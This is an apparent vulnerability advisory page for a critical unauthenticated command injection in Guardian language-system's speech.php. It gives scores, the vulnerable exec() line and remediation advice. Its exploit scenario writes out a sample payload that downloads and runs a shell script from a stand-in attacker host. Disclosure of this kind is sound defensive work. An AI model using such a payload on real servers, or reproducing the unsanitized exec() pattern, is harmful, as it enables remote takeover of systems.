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Guardian language-system EUVDEUVD-2026-41067

| CVE-2026-34109 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 disclosure@vulncheck.com GHSA-f5vf-w6pf-3mgf
Command Injection PHP
9.3
CVSS 4.0 · Vendor: vulncheck
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Severity by source

Vendor (vulncheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Unauthenticated remote GET parameter injected into exec() with no user interaction gives AV:N/AC:L/PR:N/UI:N; direct OS command execution yields full C:H/I:H/A:H, scope unchanged.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 17:31 vuln.today

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in speech.php (line 18) without sanitization: exec(\"php jobs/speech_audio.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

AnalysisAI

OS command injection in the Guardian language-system lets an unauthenticated remote attacker run arbitrary shell commands by injecting metacharacters into the 'id' GET parameter, which speech.php passes unsanitized into a PHP exec() call. Rated CVSS 4.0 9.3 (Critical) with a fully remote, no-privilege, no-interaction vector, this is a direct pre-auth RCE. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify exposed speech.php endpoint
Delivery
Craft id parameter with shell metacharacters
Exploit
Send unauthenticated HTTP GET request
Execution
exec() runs injected OS command
Persist
Execute arbitrary commands as web user
Impact
Deploy webshell and pivot
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Vulnerability AssessmentAI

Exploitation No special conditions - remote unauthenticated exploitation against Guardian language-system installations that expose the speech.php endpoint. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals point to a genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-facing Guardian language-system and sends a single crafted HTTP GET request to speech.php with an 'id' value such as '1;curl http://attacker/x.sh|sh', causing the appended command to execute on the server as the web user. With no authentication or user interaction required, the attacker gains immediate command execution and can pivot to install a webshell, exfiltrate data, or move laterally. …
Remediation No vendor-released patch version is identified at time of analysis, so no fixed version can be cited. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Restrict network access to speech.php or disable Guardian language-system features if operationally feasible; deploy Web Application Firewall (WAF) rules to block shell metacharacters in the 'id' GET parameter. …

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Threat intelligence, references, and detailed analysis are available after sign-in.

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EUVD-2026-41067 vulnerability details – vuln.today
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